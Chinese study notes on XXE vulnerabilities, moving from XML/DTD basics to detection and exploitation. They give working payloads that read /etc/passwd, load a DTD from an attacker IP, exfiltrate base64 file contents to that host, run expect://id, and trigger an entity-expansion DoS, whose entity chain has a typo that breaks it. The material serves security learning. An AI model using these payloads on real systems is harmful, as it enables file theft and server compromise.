本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。

前置基础

XML 可扩展标记语言

<?xml version="1.0" encoding="UTF-8"?>
<kls>
    <students>
        <student>
            <name>han</name>
            <age>20</age>
        </student>
        <student>
            <name>liu</name>
            <age>21</age>
        </student>
        <student>
            <name>sun</name>
            <age>22</age>
        </student>
    </students>
    <teachers>
        <teacher>
            <name>wanglao</name>
            <age>40</age>
        </teacher>
    </teachers>
</kls>
  • xml header (头)中制定了 xml 的版本信息,和字符集编码
  • xml body(体) 中开始标签和结束 标签对应,标签名随意

DTD 文档类型定义

  • 作用:约束xml 的书写规范
  • XML 正常情况下标签的名字可以随意指定,也可以使用 DTD 进行约束
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE kls07 [
    <!ELEMENT kls07 (students, teachers)>
    <!ELEMENT students (student+)>
    <!ELEMENT student (name, age)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
    <!ELEMENT teachers (teacher+)>
    <!ELEMENT teacher (name, age)>
]>

<kls07>
    <students>
        <student>
            <name>zhangsan</name>
            <age>20</age>
        </student>
        <student>
            <name>lisi</name>
            <age>21</age>
        </student>
        <student>
            <name>wangwu</name>
            <age>22</age>
        </student>
    </students>
    <teachers>
        <teacher>
            <name>teacher1</name>
            <age>40</age>
        </teacher>
    </teachers>
</kls07>

DTD 实体

DTD 实体,就是DTD 中定义的变量

内部实体

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE kls07 [
    <!ELEMENT kls07 (students, teachers)>
    <!ELEMENT students (student+)>
    <!ELEMENT student (name, age)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
    <!ELEMENT teachers (teacher+)>
    <!ELEMENT teacher (name, age)>
    <!ENTITY a "zhangsan">
]>

<kls07>
    <students>
        <student>
            <name>&a;</name>
            <age>20</age>
        </student>
        <student>
            <name>lisi</name>
            <age>21</age>
        </student>
        <student>
            <name>wangwu</name>
            <age>22</age>
        </student>
    </students>
    <teachers>
        <teacher>
            <name>teacher1</name>
            <age>40</age>
        </teacher>
    </teachers>
</kls07>
  • 实体的定义:DTD中定义实体 ,a 为实体名,zhangsan为a实体的值
  • 实体的调用:XML中调用实体 &实体名; ,如 &a; ,就是调用a实体,就是zhangsan

外部实体

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE kls07 [
    <!ELEMENT kls07 (students, teachers)>
    <!ELEMENT students (student+)>
    <!ELEMENT student (name, age)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
    <!ELEMENT teachers (teacher+)>
    <!ELEMENT teacher (name, age)>
    <!ENTITY a "zhangsan">
    <!ENTITY b SYSTEM "https://www.baidu.com">
]>

<kls07>
    <students>
        <student>
            <name>&a;</name>
            <age>&b;</age>
        </student>
        <student>
            <name>lisi</name>
            <age>21</age>
        </student>
        <student>
            <name>wangwu</name>
            <age>22</age>
        </student>
    </students>
    <teachers>
        <teacher>
            <name>teacher1</name>
            <age>40</age>
        </teacher>
    </teachers>
</kls07>

外部实体定义:DTD中 ,外部实体的值是 URL,且有SYSTEM字符

外部实体调用:XML中 &实体名;

参数实体

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE kls07 [
    <!ELEMENT kls07 (students, teachers)>
    <!ELEMENT students (student+)>
    <!ELEMENT student (name, age)>
    <!ELEMENT name (#PCDATA)>
    <!ELEMENT age (#PCDATA)>
    <!ELEMENT teachers (teacher+)>
    <!ELEMENT teacher (name, age)>
    <!ENTITY a "zhangsan">
    <!ENTITY b SYSTEM "https://www.baidu.com">
    <!ENTITY % c SYSTEM "hello">
    %c;
]>

<kls07>
    <students>
        <student>
            <name>&a;</name>
            <age>&b;</age>
        </student>
        <student>
            <name>lisi</name>
            <age>21</age>
        </student>
        <student>
            <name>wangwu</name>
            <age>22</age>
        </student>
    </students>
    <teachers>
        <teacher>
            <name>teacher1</name>
            <age>40</age>
        </teacher>
    </teachers>
</kls07>

参数实体的定义:DTD中写: , c 是实体名,hello 是实体值, 参数实体的定义需要有 %

参数实体的调用:参数实体只能在 DTD中调用,%实体名; ,如 %c;

产生原因

开发者没有对用户传入的xml 做严格的限制, 导致用户可以传入任意的xml,且服务器允许加载外部实体

挖掘

代码审计

找是否有 xml 解析相关的函数、依赖. 如 php 的 loadXML、libxml
看用户是否能够传入 xml 。如php看 php://input

看服务器是否能够加载外部实体。如php中 看到 libxml_disable_entity_loader(false) 、
libxml_use_internal_errors(true),就是允许实体加载。

下图代码所示,1、2、3均满足,故存在 xxe 漏洞

危害

XXE 漏洞可导致敏感文件泄露、SSRF (服务端请求伪造) 、 远程文件读取 / 数据外带 、拒绝服务攻击 ,严重时可配合其他漏洞实现远程代码执行,是一个高危甚至致命的安全漏洞

黑盒测试

有回显 XXE

看请求体的类型是不是Content-Type: application/xml,如果不是,可以手动修改,看网站是否支持 xml
传入xml数据,在xml中加入实体,观察xml是否能解析实体
替换实体为外部实体,看是否可以进行利用

3 替换实体为外部实体,看是否可以进行利用

无回显 XXE/盲打 XXE

1 HTTP 外带

DTD中定义外部实体,外部实体的值是自己攻击机的URL地址
看攻击机HTTP是否有访问日志, 如果有,就说明存在XXE漏洞
方法1 :攻击机 自行开启监听

攻击机开监听

靶机指定外部 实体值为 URL 地址,访问任意 URI

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY a SYSTEM "http://192.168.2.116:8000/asd">

]>
<root>
    <username>&a;</username>
    <password>password</password>
</root>

攻击机看到有对应URI的HTTP访问日志,说明外部实体被加载,有XXE漏洞

方法2: burpsuite Collaborator

⚠️:使用burpsuite collaborator 的域名 oastify.com,部分梯子、家庭网络、防火墙可能会拦截 burpsuite的域名 ( 没有云服务器,如何解决 )

得到: 58bed80dnyzqph125evmxdep3g97xxlm.oastify.com, 修改攻击 playload

攻击者在 burpsuite collaborator 中即可看到 HTTP 外带的日志信息

方法3 : 知道创宇 ceye

http://ceye.io/

得到自己的域名:bvgvem.ceye.io 替换playload 为自己的域名

攻击如果成功,攻击者 可以得到 HTTP 日志记录

2 dnslog 外带

方法1 : burpsuite Collaborator

获取 burpsuite 域名

修改攻击的 playload 在域名前加任意子域名

在 burpsuite collaborator 中可以看到 DNS 解析日志,证明xxe漏洞存在

方法2 : 知道创宇 ceye

http://ceye.io/

方法3:其他公共 DNSlog 平台

https://dig.pm/

https://dnslog.org/

利用

1 读取 敏感信息 (伪协议直接读)

外部实体的值,修改为 读取文件的协议

  • file://
  • php://filter-
<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY a SYSTEM "file:///etc/passwd">

]>
<root>
    <username>&a;</username>
    <password>password</password>
</root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

]>
<root>
    <username>&a;</username>
    <password>password</password>
</root>

2 外部 DTD(有回显)

读取 敏感信息 (伪协议直接读) ,需要使用 php://filter 和 file://, 可能会被 WAF 拦截,可以把 dtd 单独保存为一个文件,并放到 攻击机中

1 攻击机 编写 1.dtd

<!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">

2 攻击机 开监听

构建 1.dtd 下载链接 http://192.168.2.116:8000/1.dtd

3 编写 (http://192.168.2.116:8000/1.dtd)链接,攻击目标网站

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % x SYSTEM "http://192.168.2.116:8000/1.dtd">
    %x;

]>
<root>
    <username>&a;</username>
    <password>password</password>
</root>

解释:

  • DTD 中定义并调用了 参数实体 x, 调用x时会加载攻击机上保存的 1.dtd 文件
  • XML body 中调用了攻击机中远程1.dtd文件中的外部实体 a

3 盲打XXE ✨

1 攻击机 编写 han.dtd 文件

<!ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
<!ENTITY % b "<!ENTITY &#37; c SYSTEM 'http://192.168.2.116:8000/?result=%a;'>">
%b;
%c;

2 攻击机开启监听

3 攻击目标网站

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % x SYSTEM "http://192.168.2.116:8000/han.dtd">
    %x;

]>
<root>
    <username>admin</username>
    <password>password</password>
</root>

4 攻击者收到HTTP日志,

得到文件读取的结果

原理

4 XXE 命令执行

expect://id (大部分 php 环境 不支持 expect://)

<!ENTITY % x SYSTEM "expect://id">
%x;

5 DDos 攻击

https://chetan-conikee.medium.com/detecting-chained-xxe-xml-external-entity-to-dos-denial-of-service-or-ssrf-server-side-d13df22001c7

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY lol "lol">
    <!ENTITY lola "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lolb "&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;">
    <!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;">
    <!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;">
    <!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;">
    <!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;">
    <!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;">
    <!ENTITY lolh "&lolog;&lolog;&lolog;&lolog;&lolog;&lolog;&lolog;&lolog;&lolog;&lolog;">
    <!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;">
]>

<root>
    <username>&loli;</username>
    <password>password</password>
</root>

修复

禁用外部实体加载
过滤常见协议头 file://,php://filter

docker inspect